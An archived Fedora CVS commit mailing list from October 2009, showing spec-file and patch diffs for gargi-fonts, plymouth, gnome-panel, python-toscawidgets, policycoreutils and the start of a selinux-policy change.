From ankursinha at fedoraproject.org  Mon Oct 19 18:39:01 2009
From: ankursinha at fedoraproject.org (Ankur Sinha)
Date: Mon, 19 Oct 2009 18:39:01 +0000 (UTC)
Subject: rpms/gargi-fonts/F-10 gargi-fonts-fontconfig.conf, NONE,
	1.1 gargi-fonts.spec, NONE, 1.1 import.log, NONE, 1.1 .cvsignore,
	1.1, 1.2 sources, 1.1, 1.2
Message-ID: <20091019183901.E74C011C00DC@cvs1.fedora.phx.redhat.com>

Author: ankursinha

Update of /cvs/pkgs/rpms/gargi-fonts/F-10
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv6826/F-10

Modified Files:
	.cvsignore sources 
Added Files:
	gargi-fonts-fontconfig.conf gargi-fonts.spec import.log 
Log Message:
Tue Oct 20 2009 Ankur Sinha <ankursinha AT fedoraproject DOT org>
- 1.9-2
- first cvs commit



--- NEW FILE gargi-fonts-fontconfig.conf ---
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE fontconfig SYSTEM "../fonts.dtd">
<fontconfig>
  <alias>
    <family>sans</family>
    <prefer>
      <family>Gargi</family>
    </prefer>
  </alias>
  <alias>
    <family>Gargi</family>
    <default>
      <family>sans</family>
    </default>
  </alias>
</fontconfig>


--- NEW FILE gargi-fonts.spec ---
%global fontname gargi
%global fontconf 69-%{fontname}.conf

Name:           %{fontname}-fonts
Version:        1.9
Release:        2%{?dist}
Summary:        A Devanagari font

Group:          User Interface/X
License:        GPLv2+
URL:            http://savannah.nongnu.org/projects/gargi
Source0:        http://mirror.vocabbuilder.net/savannah/gargi/%{fontname}-%{version}.tar.gz
Source1:        %{name}-fontconfig.conf
BuildRoot:      %(mktemp -ud %{_tmppath}/%{name}-%{version}-%{release}-XXXXXX)

BuildArch:      noarch
BuildRequires:  fontpackages-devel fontforge
Requires:       fontpackages-filesystem

%description
A Free Unicode OpenType Font


%prep
%setup -q -n %{fontname}-%{version}

sed 's/\r//' Changelog > Changelog.new
touch -r Changelog Changelog.new
mv Changelog.new Changelog

%build

fontforge -lang=ff -script "-" *.sfd <<EOF
i = 1 
while ( i < \$argc )
  Open (\$argv[i], 1)
  Generate (\$fontname + ".ttf")
  PrintSetup (5) 
  PrintFont (0, 0, "", \$fontname + "-sample.pdf")
  Close()
  i++ 
endloop
EOF

%install
rm -fr %{buildroot}

install -m 0755 -d %{buildroot}%{_fontdir}
install -m 0644 -p *.ttf %{buildroot}%{_fontdir}

install -m 0755 -d %{buildroot}%{_fontconfig_templatedir} \
                   %{buildroot}%{_fontconfig_confdir}

install -m 0644 -p %{SOURCE1} \
        %{buildroot}%{_fontconfig_templatedir}/%{fontconf}
ln -s %{_fontconfig_templatedir}/%{fontconf} \
      %{buildroot}%{_fontconfig_confdir}/%{fontconf}


%clean
rm -fr %{buildroot}


%_font_pkg -f %{fontconf} *.ttf

%doc Changelog COPYING

%changelog
* Wed Oct 14 2009 Ankur Sinha <ankursinha AT fedoraproject DOT org>
- 1.9-2
- Corrections based on bug #526633
* Thu Oct 1 2009 Ankur Sinha <ankursinha AT fedoraproject DOT org>
- 1.9-1
- Initial RPM build


--- NEW FILE import.log ---
gargi-fonts-1_9-2_fc11:F-10:gargi-fonts-1.9-2.fc11.src.rpm:1255977400


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/gargi-fonts/F-10/.cvsignore,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- .cvsignore	19 Oct 2009 16:24:15 -0000	1.1
+++ .cvsignore	19 Oct 2009 18:39:01 -0000	1.2
@@ -0,0 +1 @@
+gargi-1.9.tar.gz


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/gargi-fonts/F-10/sources,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- sources	19 Oct 2009 16:24:15 -0000	1.1
+++ sources	19 Oct 2009 18:39:01 -0000	1.2
@@ -0,0 +1 @@
+211283db5be5a257b15f57c3ca76b9ef  gargi-1.9.tar.gz



From ankursinha at fedoraproject.org  Mon Oct 19 18:41:53 2009
From: ankursinha at fedoraproject.org (Ankur Sinha)
Date: Mon, 19 Oct 2009 18:41:53 +0000 (UTC)
Subject: rpms/gargi-fonts/F-11 gargi-fonts-fontconfig.conf, NONE,
	1.1 gargi-fonts.spec, NONE, 1.1 import.log, NONE, 1.1 .cvsignore,
	1.1, 1.2 sources, 1.1, 1.2
Message-ID: <20091019184153.9F1AF11C00DC@cvs1.fedora.phx.redhat.com>

Author: ankursinha

Update of /cvs/pkgs/rpms/gargi-fonts/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv7491/F-11

Modified Files:
	.cvsignore sources 
Added Files:
	gargi-fonts-fontconfig.conf gargi-fonts.spec import.log 
Log Message:
Tue Oct 20 2009 Ankur Sinha <ankursinha AT fedoraproject DOT org>
- 1.9-2
- first cvs commit



--- NEW FILE gargi-fonts-fontconfig.conf ---
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE fontconfig SYSTEM "../fonts.dtd">
<fontconfig>
  <alias>
    <family>sans</family>
    <prefer>
      <family>Gargi</family>
    </prefer>
  </alias>
  <alias>
    <family>Gargi</family>
    <default>
      <family>sans</family>
    </default>
  </alias>
</fontconfig>


--- NEW FILE gargi-fonts.spec ---
%global fontname gargi
%global fontconf 69-%{fontname}.conf

Name:           %{fontname}-fonts
Version:        1.9
Release:        2%{?dist}
Summary:        A Devanagari font

Group:          User Interface/X
License:        GPLv2+
URL:            http://savannah.nongnu.org/projects/gargi
Source0:        http://mirror.vocabbuilder.net/savannah/gargi/%{fontname}-%{version}.tar.gz
Source1:        %{name}-fontconfig.conf
BuildRoot:      %(mktemp -ud %{_tmppath}/%{name}-%{version}-%{release}-XXXXXX)

BuildArch:      noarch
BuildRequires:  fontpackages-devel fontforge
Requires:       fontpackages-filesystem

%description
A Free Unicode OpenType Font


%prep
%setup -q -n %{fontname}-%{version}

sed 's/\r//' Changelog > Changelog.new
touch -r Changelog Changelog.new
mv Changelog.new Changelog

%build

fontforge -lang=ff -script "-" *.sfd <<EOF
i = 1 
while ( i < \$argc )
  Open (\$argv[i], 1)
  Generate (\$fontname + ".ttf")
  PrintSetup (5) 
  PrintFont (0, 0, "", \$fontname + "-sample.pdf")
  Close()
  i++ 
endloop
EOF

%install
rm -fr %{buildroot}

install -m 0755 -d %{buildroot}%{_fontdir}
install -m 0644 -p *.ttf %{buildroot}%{_fontdir}

install -m 0755 -d %{buildroot}%{_fontconfig_templatedir} \
                   %{buildroot}%{_fontconfig_confdir}

install -m 0644 -p %{SOURCE1} \
        %{buildroot}%{_fontconfig_templatedir}/%{fontconf}
ln -s %{_fontconfig_templatedir}/%{fontconf} \
      %{buildroot}%{_fontconfig_confdir}/%{fontconf}


%clean
rm -fr %{buildroot}


%_font_pkg -f %{fontconf} *.ttf

%doc Changelog COPYING

%changelog
* Wed Oct 14 2009 Ankur Sinha <ankursinha AT fedoraproject DOT org>
- 1.9-2
- Corrections based on bug #526633
* Thu Oct 1 2009 Ankur Sinha <ankursinha AT fedoraproject DOT org>
- 1.9-1
- Initial RPM build


--- NEW FILE import.log ---
gargi-fonts-1_9-2_fc11:F-11:gargi-fonts-1.9-2.fc11.src.rpm:1255977578


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/gargi-fonts/F-11/.cvsignore,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- .cvsignore	19 Oct 2009 16:24:15 -0000	1.1
+++ .cvsignore	19 Oct 2009 18:41:53 -0000	1.2
@@ -0,0 +1 @@
+gargi-1.9.tar.gz


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/gargi-fonts/F-11/sources,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- sources	19 Oct 2009 16:24:15 -0000	1.1
+++ sources	19 Oct 2009 18:41:53 -0000	1.2
@@ -0,0 +1 @@
+211283db5be5a257b15f57c3ca76b9ef  gargi-1.9.tar.gz



From rstrode at fedoraproject.org  Mon Oct 19 18:42:23 2009
From: rstrode at fedoraproject.org (Ray Strode)
Date: Mon, 19 Oct 2009 18:42:23 +0000 (UTC)
Subject: rpms/plymouth/F-12 plymouth.spec,1.160,1.161
Message-ID: <20091019184223.7D6E611C00DC@cvs1.fedora.phx.redhat.com>

Author: rstrode

Update of /cvs/pkgs/rpms/plymouth/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv7858

Modified Files:
	plymouth.spec 
Log Message:
- Drop nash dep (bug 528706)



Index: plymouth.spec
===================================================================
RCS file: /cvs/pkgs/rpms/plymouth/F-12/plymouth.spec,v
retrieving revision 1.160
retrieving revision 1.161
diff -u -p -r1.160 -r1.161
--- plymouth.spec	14 Oct 2009 15:35:46 -0000	1.160
+++ plymouth.spec	19 Oct 2009 18:42:23 -0000	1.161
@@ -6,7 +6,7 @@
 Summary: Graphical Boot Animation and Logger
 Name: plymouth
 Version: 0.8.0
-Release: 0.2009.29.09.12%{?dist}
+Release: 0.2009.29.09.13%{?dist}
 License: GPLv2+
 Group: System Environment/Base
 Source0: http://freedesktop.org/software/plymouth/releases/%{name}-%{version}.tar.bz2
@@ -90,7 +90,6 @@ including a boot log viewing application
 %package scripts
 Summary: Plymouth related scripts
 Group: Applications/System
-Requires: nash
 
 %description scripts
 This package contains scripts that help integrate Plymouth with
@@ -472,6 +471,9 @@ fi
 %defattr(-, root, root)
 
 %changelog
+* Mon Oct 19 2009 Ray Strode <rstrode at redhat.com> 0.8.0-0.2009.29.09.13
+- Drop nash dep (bug 528706)
+
 * Wed Oct 14 2009 Ray Strode <rstrode at redhat.com> 0.8.0-0.2009.29.09.12
 - Don't clear screen in text plugin immediately after displaying
   password prompt (bug 527426)



From ankursinha at fedoraproject.org  Mon Oct 19 18:44:14 2009
From: ankursinha at fedoraproject.org (Ankur Sinha)
Date: Mon, 19 Oct 2009 18:44:14 +0000 (UTC)
Subject: rpms/gargi-fonts/F-12 gargi-fonts-fontconfig.conf, NONE,
	1.1 gargi-fonts.spec, NONE, 1.1 import.log, NONE, 1.1 .cvsignore,
	1.1, 1.2 sources, 1.1, 1.2
Message-ID: <20091019184414.972D611C00DC@cvs1.fedora.phx.redhat.com>

Author: ankursinha

Update of /cvs/pkgs/rpms/gargi-fonts/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv8287/F-12

Modified Files:
	.cvsignore sources 
Added Files:
	gargi-fonts-fontconfig.conf gargi-fonts.spec import.log 
Log Message:
Tue Oct 20 2009 Ankur Sinha <ankursinha AT fedoraproject DOT org>
- 1.9-2
- first cvs commit



--- NEW FILE gargi-fonts-fontconfig.conf ---
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE fontconfig SYSTEM "../fonts.dtd">
<fontconfig>
  <alias>
    <family>sans</family>
    <prefer>
      <family>Gargi</family>
    </prefer>
  </alias>
  <alias>
    <family>Gargi</family>
    <default>
      <family>sans</family>
    </default>
  </alias>
</fontconfig>


--- NEW FILE gargi-fonts.spec ---
%global fontname gargi
%global fontconf 69-%{fontname}.conf

Name:           %{fontname}-fonts
Version:        1.9
Release:        2%{?dist}
Summary:        A Devanagari font

Group:          User Interface/X
License:        GPLv2+
URL:            http://savannah.nongnu.org/projects/gargi
Source0:        http://mirror.vocabbuilder.net/savannah/gargi/%{fontname}-%{version}.tar.gz
Source1:        %{name}-fontconfig.conf
BuildRoot:      %(mktemp -ud %{_tmppath}/%{name}-%{version}-%{release}-XXXXXX)

BuildArch:      noarch
BuildRequires:  fontpackages-devel fontforge
Requires:       fontpackages-filesystem

%description
A Free Unicode OpenType Font


%prep
%setup -q -n %{fontname}-%{version}

sed 's/\r//' Changelog > Changelog.new
touch -r Changelog Changelog.new
mv Changelog.new Changelog

%build

fontforge -lang=ff -script "-" *.sfd <<EOF
i = 1 
while ( i < \$argc )
  Open (\$argv[i], 1)
  Generate (\$fontname + ".ttf")
  PrintSetup (5) 
  PrintFont (0, 0, "", \$fontname + "-sample.pdf")
  Close()
  i++ 
endloop
EOF

%install
rm -fr %{buildroot}

install -m 0755 -d %{buildroot}%{_fontdir}
install -m 0644 -p *.ttf %{buildroot}%{_fontdir}

install -m 0755 -d %{buildroot}%{_fontconfig_templatedir} \
                   %{buildroot}%{_fontconfig_confdir}

install -m 0644 -p %{SOURCE1} \
        %{buildroot}%{_fontconfig_templatedir}/%{fontconf}
ln -s %{_fontconfig_templatedir}/%{fontconf} \
      %{buildroot}%{_fontconfig_confdir}/%{fontconf}


%clean
rm -fr %{buildroot}


%_font_pkg -f %{fontconf} *.ttf

%doc Changelog COPYING

%changelog
* Wed Oct 14 2009 Ankur Sinha <ankursinha AT fedoraproject DOT org>
- 1.9-2
- Corrections based on bug #526633
* Thu Oct 1 2009 Ankur Sinha <ankursinha AT fedoraproject DOT org>
- 1.9-1
- Initial RPM build


--- NEW FILE import.log ---
gargi-fonts-1_9-2_fc11:F-12:gargi-fonts-1.9-2.fc11.src.rpm:1255977730


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/gargi-fonts/F-12/.cvsignore,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- .cvsignore	19 Oct 2009 16:24:15 -0000	1.1
+++ .cvsignore	19 Oct 2009 18:44:14 -0000	1.2
@@ -0,0 +1 @@
+gargi-1.9.tar.gz


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/gargi-fonts/F-12/sources,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- sources	19 Oct 2009 16:24:15 -0000	1.1
+++ sources	19 Oct 2009 18:44:14 -0000	1.2
@@ -0,0 +1 @@
+211283db5be5a257b15f57c3ca76b9ef  gargi-1.9.tar.gz



From rstrode at fedoraproject.org  Mon Oct 19 18:51:04 2009
From: rstrode at fedoraproject.org (Ray Strode)
Date: Mon, 19 Oct 2009 18:51:04 +0000 (UTC)
Subject: rpms/gnome-panel/F-12 gnome-panel.spec,1.377,1.378
Message-ID: <20091019185104.BD95D11C00DC@cvs1.fedora.phx.redhat.com>

Author: rstrode

Update of /cvs/pkgs/rpms/gnome-panel/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv10536

Modified Files:
	gnome-panel.spec 
Log Message:
- Add explicit libs requires (bug 525600)



Index: gnome-panel.spec
===================================================================
RCS file: /cvs/pkgs/rpms/gnome-panel/F-12/gnome-panel.spec,v
retrieving revision 1.377
retrieving revision 1.378
diff -u -p -r1.377 -r1.378
--- gnome-panel.spec	19 Oct 2009 17:14:05 -0000	1.377
+++ gnome-panel.spec	19 Oct 2009 18:51:04 -0000	1.378
@@ -22,7 +22,7 @@
 Summary: GNOME panel
 Name: gnome-panel
 Version: 2.28.0
-Release: 8%{?dist}
+Release: 9%{?dist}
 URL: http://www.gnome.org
 Source0: http://download.gnome.org/sources/gnome-panel/2.28/%{name}-%{version}.tar.bz2
 
@@ -41,6 +41,7 @@ Requires: gnome-menus >= %{gnome_menus_v
 Requires: evolution-data-server >= %{evolution_data_server_version}
 %endif
 Requires: gnome-session-xsession
+Requires: %{name}-libs = %{version}-%{release}
 
 Requires(post): GConf2 >= %{gconf_version}
 Requires(post): scrollkeeper
@@ -384,6 +385,9 @@ fi
 %{_datadir}/gtk-doc/html/*
 
 %changelog
+* Mon Oct 19 2009 Ray Strode <rstrode at redhat.com> 2.28.0-9
+- Add explicit libs requires (bug 525600)
+
 * Mon Oct 19 2009 Matthias Clasen <mclasen at redhat.com> 2.28.0-9
 - Actually set non-zero padding
 



From lmacken at fedoraproject.org  Mon Oct 19 18:51:27 2009
From: lmacken at fedoraproject.org (Luke Macken)
Date: Mon, 19 Oct 2009 18:51:27 +0000 (UTC)
Subject: rpms/python-toscawidgets/F-12 python-toscawidgets.spec, 1.13,
	1.14 sources, 1.10, 1.11
Message-ID: <20091019185127.15BCB11C00DC@cvs1.fedora.phx.redhat.com>

Author: lmacken

Update of /cvs/pkgs/rpms/python-toscawidgets/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv10675

Modified Files:
	python-toscawidgets.spec sources 
Log Message:
0.9.8 release


Index: python-toscawidgets.spec
===================================================================
RCS file: /cvs/pkgs/rpms/python-toscawidgets/F-12/python-toscawidgets.spec,v
retrieving revision 1.13
retrieving revision 1.14
diff -u -p -r1.13 -r1.14
--- python-toscawidgets.spec	26 Jul 2009 23:15:35 -0000	1.13
+++ python-toscawidgets.spec	19 Oct 2009 18:51:26 -0000	1.14
@@ -4,8 +4,8 @@
 %global srcname ToscaWidgets
 
 Name:           python-toscawidgets
-Version:        0.9.7.1
-Release:        2%{?dist}
+Version:        0.9.8
+Release:        1%{?dist}
 Summary:        Toolkit to help create widgets for WSGI web apps
 Group:          Development/Languages
 License:        MIT
@@ -56,6 +56,27 @@ rm -rf $RPM_BUILD_ROOT
 
 
 %changelog
+* Thu Oct 01 2009 Luke Macken <lmacken at redhat.com> - 0.9.8-1
+- 0.9.8 release
+- Remove js patch which is now upstream
+
+* Thu Aug 27 2009 Luke Macken <lmacken at redhat.com> - 0.9.8-0.4.dev20090825
+- Apply a patch from http://toscawidgets.org/trac/tw/ticket/30
+  to fix problems with encoding javascript methods.
+
+* Tue Aug 25 2009 Luke Macken <lmacken at redhat.com> - 0.9.8-0.3.dev20090825
+- Update to the latest mercurial snapshot, which fixes the python 2.4
+  incompatibilites.
+
+* Mon Aug 24 2009 Luke Macken <lmacken at redhat.com> - 0.9.8-0.2.dev20090822
+- Add a couple of patches to get things working on Python2.4
+
+* Sat Aug 22 2009 Luke Macken <lmacken at redhat.com> - 0.9.8-0.1.dev20090822
+- Update to a 0.9.8 development snapshot
+
+* Wed Aug 12 2009 Luke Macken <lmacken at redhat.com> - 0.9.7.2-1
+- 0.9.7.2
+
 * Sun Jul 26 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 0.9.7.1-2
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/python-toscawidgets/F-12/sources,v
retrieving revision 1.10
retrieving revision 1.11
diff -u -p -r1.10 -r1.11
--- sources	27 Jun 2009 22:25:42 -0000	1.10
+++ sources	19 Oct 2009 18:51:26 -0000	1.11
@@ -1 +1 @@
-3994904d8b0091ccce357eb61ab1caec  ToscaWidgets-0.9.7.1.tar.gz
+b862d639102242fa6893f2677864d5b1  ToscaWidgets-0.9.8.tar.gz



From dwalsh at fedoraproject.org  Mon Oct 19 19:05:29 2009
From: dwalsh at fedoraproject.org (Daniel J Walsh)
Date: Mon, 19 Oct 2009 19:05:29 +0000 (UTC)
Subject: rpms/policycoreutils/devel policycoreutils-gui.patch, 1.96,
	1.97 policycoreutils.spec, 1.653, 1.654
Message-ID: <20091019190529.D485E11C00DC@cvs1.fedora.phx.redhat.com>

Author: dwalsh

Update of /cvs/extras/rpms/policycoreutils/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv13603

Modified Files:
	policycoreutils-gui.patch policycoreutils.spec 
Log Message:
* Mon Oct 19 2009 Dan Walsh <dwalsh at redhat.com> 2.0.74-12
- Add generation of the users context file to polgengui


policycoreutils-gui.patch:
 Makefile                     |   40 
 booleansPage.py              |  247 +++
 domainsPage.py               |  154 ++
 fcontextPage.py              |  223 ++
 html_util.py                 |  164 ++
 lockdown.glade               |  771 ++++++++++
 lockdown.gladep              |    7 
 lockdown.py                  |  382 ++++
 loginsPage.py                |  185 ++
 mappingsPage.py              |   56 
 modulesPage.py               |  190 ++
 polgen.glade                 | 3305 +++++++++++++++++++++++++++++++++++++++++++
 polgen.gladep                |    7 
 polgen.py                    | 1195 +++++++++++++++
 polgengui.py                 |  627 ++++++++
 portsPage.py                 |  259 +++
 selinux.tbl                  |  234 +++
 semanagePage.py              |  168 ++
 statusPage.py                |  190 ++
 system-config-selinux.glade  | 3024 +++++++++++++++++++++++++++++++++++++++
 system-config-selinux.gladep |    7 
 system-config-selinux.py     |  187 ++
 templates/__init__.py        |   18 
 templates/boolean.py         |   40 
 templates/etc_rw.py          |  129 +
 templates/executable.py      |  359 ++++
 templates/network.py         |   80 +
 templates/rw.py              |  127 +
 templates/script.py          |  126 +
 templates/semodule.py        |   41 
 templates/tmp.py             |   97 +
 templates/user.py            |  182 ++
 templates/var_lib.py         |  158 ++
 templates/var_log.py         |  110 +
 templates/var_run.py         |  118 +
 templates/var_spool.py       |  129 +
 usersPage.py                 |  150 +
 37 files changed, 13486 insertions(+)

Index: policycoreutils-gui.patch
===================================================================
RCS file: /cvs/extras/rpms/policycoreutils/devel/policycoreutils-gui.patch,v
retrieving revision 1.96
retrieving revision 1.97
diff -u -p -r1.96 -r1.97
--- policycoreutils-gui.patch	16 Oct 2009 14:46:45 -0000	1.96
+++ policycoreutils-gui.patch	19 Oct 2009 19:05:28 -0000	1.97
@@ -6414,8 +6414,8 @@ diff --exclude-from=exclude -N -u -r nsa
 +    app.stand_alone()
 diff --exclude-from=exclude -N -u -r nsapolicycoreutils/gui/polgen.py policycoreutils-2.0.74/gui/polgen.py
 --- nsapolicycoreutils/gui/polgen.py	1969-12-31 19:00:00.000000000 -0500
-+++ policycoreutils-2.0.74/gui/polgen.py	2009-10-15 10:37:42.000000000 -0400
-@@ -0,0 +1,1188 @@
++++ policycoreutils-2.0.74/gui/polgen.py	2009-10-19 15:04:09.000000000 -0400
+@@ -0,0 +1,1195 @@
 +#!/usr/bin/python
 +#
 +# Copyright (C) 2007, 2008, 2009 Red Hat 
@@ -7339,6 +7339,13 @@ diff --exclude-from=exclude -N -u -r nsa
 +                for u in self.transition_users:
 +                    tmp =  re.sub("TEMPLATETYPE", self.name, script.admin_trans)
 +                    newsh += re.sub("USER", u, tmp)
++
++            if self.type == LUSER:
++                    newsh +=  re.sub("TEMPLATETYPE", self.name, script.min_login_user_default_context)
++            else:
++                    newsh +=  re.sub("TEMPLATETYPE", self.name, script.x_login_user_default_context)
++
++                
 +            return newsh
 +        
 +	def generate_sh(self):
@@ -12480,8 +12487,8 @@ diff --exclude-from=exclude -N -u -r nsa
 +"""
 diff --exclude-from=exclude -N -u -r nsapolicycoreutils/gui/templates/script.py policycoreutils-2.0.74/gui/templates/script.py
 --- nsapolicycoreutils/gui/templates/script.py	1969-12-31 19:00:00.000000000 -0500
-+++ policycoreutils-2.0.74/gui/templates/script.py	2009-10-15 10:37:42.000000000 -0400
-@@ -0,0 +1,99 @@
++++ policycoreutils-2.0.74/gui/templates/script.py	2009-10-19 15:03:15.000000000 -0400
+@@ -0,0 +1,126 @@
 +# Copyright (C) 2007 Red Hat 
 +# see file 'COPYING' for use and warranty information
 +#
@@ -12581,6 +12588,33 @@ diff --exclude-from=exclude -N -u -r nsa
 +# Adding roles to SELinux user USER
 +/usr/sbin/semanage user -m -R +TEMPLATETYPE_r USER
 +"""
++
++min_login_user_default_context="""\
++if [ ! -f /etc/selinux/targeted/contexts/users/TEMPLATETYPE_u ]; then
++cat > /etc/selinux/targeted/contexts/users/TEMPLATETYPE_u << _EOF
++TEMPLATETYPE_r:TEMPLATETYPE_t:s0	TEMPLATETYPE_r:TEMPLATETYPE_t
++system_r:crond_t		TEMPLATETYPE_r:TEMPLATETYPE_t
++system_r:initrc_su_t		TEMPLATETYPE_r:TEMPLATETYPE_t
++system_r:local_login_t	        TEMPLATETYPE_r:TEMPLATETYPE_t
++system_r:remote_login_t  	TEMPLATETYPE_r:TEMPLATETYPE_t
++system_r:sshd_t 		TEMPLATETYPE_r:TEMPLATETYPE_t
++_EOF
++fi
++"""
++
++x_login_user_default_context="""\
++if [ ! -f /etc/selinux/targeted/contexts/users/TEMPLATETYPE_u ]; then
++cat > /etc/selinux/targeted/contexts/users/TEMPLATETYPE_u << _EOF
++TEMPLATETYPE_r:TEMPLATETYPE_t	TEMPLATETYPE_r:TEMPLATETYPE_t
++system_r:crond_t		TEMPLATETYPE_r:TEMPLATETYPE_t
++system_r:initrc_su_t		TEMPLATETYPE_r:TEMPLATETYPE_t
++system_r:local_login_t	        TEMPLATETYPE_r:TEMPLATETYPE_t
++system_r:remote_login_t	        TEMPLATETYPE_r:TEMPLATETYPE_t
++system_r:sshd_t		        TEMPLATETYPE_r:TEMPLATETYPE_t
++system_r:xdm_t	 	        TEMPLATETYPE_r:TEMPLATETYPE_t
++_EOF
++fi
++"""
 diff --exclude-from=exclude -N -u -r nsapolicycoreutils/gui/templates/semodule.py policycoreutils-2.0.74/gui/templates/semodule.py
 --- nsapolicycoreutils/gui/templates/semodule.py	1969-12-31 19:00:00.000000000 -0500
 +++ policycoreutils-2.0.74/gui/templates/semodule.py	2009-10-15 10:37:42.000000000 -0400


Index: policycoreutils.spec
===================================================================
RCS file: /cvs/extras/rpms/policycoreutils/devel/policycoreutils.spec,v
retrieving revision 1.653
retrieving revision 1.654
diff -u -p -r1.653 -r1.654
--- policycoreutils.spec	16 Oct 2009 14:46:45 -0000	1.653
+++ policycoreutils.spec	19 Oct 2009 19:05:29 -0000	1.654
@@ -6,7 +6,7 @@
 Summary: SELinux policy core utilities
 Name:	 policycoreutils
 Version: 2.0.74
-Release: 11%{?dist}
+Release: 12%{?dist}
 License: GPLv2+
 Group:	 System Environment/Base
 Source:	 http://www.nsa.gov/selinux/archives/policycoreutils-%{version}.tgz
@@ -296,6 +296,9 @@ fi
 exit 0
 
 %changelog
+* Mon Oct 19 2009 Dan Walsh <dwalsh at redhat.com> 2.0.74-12
+- Add generation of the users context file to polgengui
+
 * Fri Oct 16 2009 Dan Walsh <dwalsh at redhat.com> 2.0.74-11
 - Remove tabs from system-config-selinux glade file
 



From dwalsh at fedoraproject.org  Mon Oct 19 19:05:57 2009
From: dwalsh at fedoraproject.org (Daniel J Walsh)
Date: Mon, 19 Oct 2009 19:05:57 +0000 (UTC)
Subject: rpms/selinux-policy/F-12 policy-F12.patch, 1.111,
	1.112 selinux-policy.spec, 1.945, 1.946
Message-ID: <20091019190557.4653011C00DC@cvs1.fedora.phx.redhat.com>

Author: dwalsh

Update of /cvs/extras/rpms/selinux-policy/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv13746

Modified Files:
	policy-F12.patch selinux-policy.spec 
Log Message:
* Sat Oct 17 2009 Dan Walsh <dwalsh at redhat.com> 3.6.32-29
- Allow ccs to communicate with userdomains, and create tmpfs_t
- Add /dev/noz* as a modem_device_t and allow modemmanager to rw it.
- Add mapping for /var/run/lircd


policy-F12.patch:
 Makefile                                  |    2 
 policy/flask/access_vectors               |    1 
 policy/global_tunables                    |   24 
 policy/mcs                                |   10 
 policy/modules/admin/alsa.te              |    2 
 policy/modules/admin/anaconda.te          |    3 
 policy/modules/admin/brctl.te             |    2 
 policy/modules/admin/certwatch.te         |    2 
 policy/modules/admin/consoletype.te       |    1 
 policy/modules/admin/dmesg.fc             |    2 
 policy/modules/admin/dmesg.te             |   10 
 policy/modules/admin/firstboot.te         |    6 
 policy/modules/admin/logrotate.te         |   13 
 policy/modules/admin/logwatch.te          |    1 
 policy/modules/admin/mrtg.te              |    1 
 policy/modules/admin/netutils.te          |    1 
 policy/modules/admin/ntop.fc              |    5 
 policy/modules/admin/ntop.if              |  158 +++
 policy/modules/admin/ntop.te              |   40 
 policy/modules/admin/portage.te           |    2 
 policy/modules/admin/prelink.if           |    4 
 policy/modules/admin/prelink.te           |    2 
 policy/modules/admin/readahead.te         |    1 
 policy/modules/admin/rpm.fc               |   18 
 policy/modules/admin/rpm.if               |  264 +++++
 policy/modules/admin/rpm.te               |   95 +
 policy/modules/admin/shorewall.if         |   40 
 policy/modules/admin/shorewall.te         |    2 
 policy/modules/admin/smoltclient.fc       |    4 
 policy/modules/admin/smoltclient.if       |    1 
 policy/modules/admin/smoltclient.te       |   66 +
 policy/modules/admin/sudo.if              |   13 
 policy/modules/admin/tmpreaper.te         |    5 
 policy/modules/admin/tzdata.te            |    2 
 policy/modules/admin/usermanage.if        |    5 
 policy/modules/admin/usermanage.te        |   34 
 policy/modules/admin/vbetool.te           |   14 
 policy/modules/admin/vpn.te               |    2 
 policy/modules/apps/calamaris.te          |    7 
 policy/modules/apps/chrome.fc             |    2 
 policy/modules/apps/chrome.if             |   85 +
 policy/modules/apps/chrome.te             |   61 +
 policy/modules/apps/cpufreqselector.te    |    2 
 policy/modules/apps/execmem.fc            |   31 
 policy/modules/apps/execmem.if            |   74 +
 policy/modules/apps/execmem.te            |   11 
 policy/modules/apps/firewallgui.fc        |    3 
 policy/modules/apps/firewallgui.if        |    3 
 policy/modules/apps/firewallgui.te        |   63 +
 policy/modules/apps/gitosis.if            |   45 
 policy/modules/apps/gnome.fc              |   12 
 policy/modules/apps/gnome.if              |  170 +++
 policy/modules/apps/gnome.te              |   99 ++
 policy/modules/apps/gpg.te                |   20 
 policy/modules/apps/java.fc               |   18 
 policy/modules/apps/java.if               |  112 ++
 policy/modules/apps/java.te               |   14 
 policy/modules/apps/kdumpgui.fc           |    2 
 policy/modules/apps/kdumpgui.if           |    2 
 policy/modules/apps/kdumpgui.te           |   65 +
 policy/modules/apps/livecd.fc             |    2 
 policy/modules/apps/livecd.if             |   50 +
 policy/modules/apps/livecd.te             |   26 
 policy/modules/apps/loadkeys.te           |    4 
 policy/modules/apps/mono.if               |  101 ++
 policy/modules/apps/mono.te               |    9 
 policy/modules/apps/mozilla.fc            |    1 
 policy/modules/apps/mozilla.if            |   32 
 policy/modules/apps/mozilla.te            |   22 
 policy/modules/apps/nsplugin.fc           |   13 
 policy/modules/apps/nsplugin.if           |  323 ++++++
 policy/modules/apps/nsplugin.te           |  295 ++++++
 policy/modules/apps/openoffice.fc         |    3 
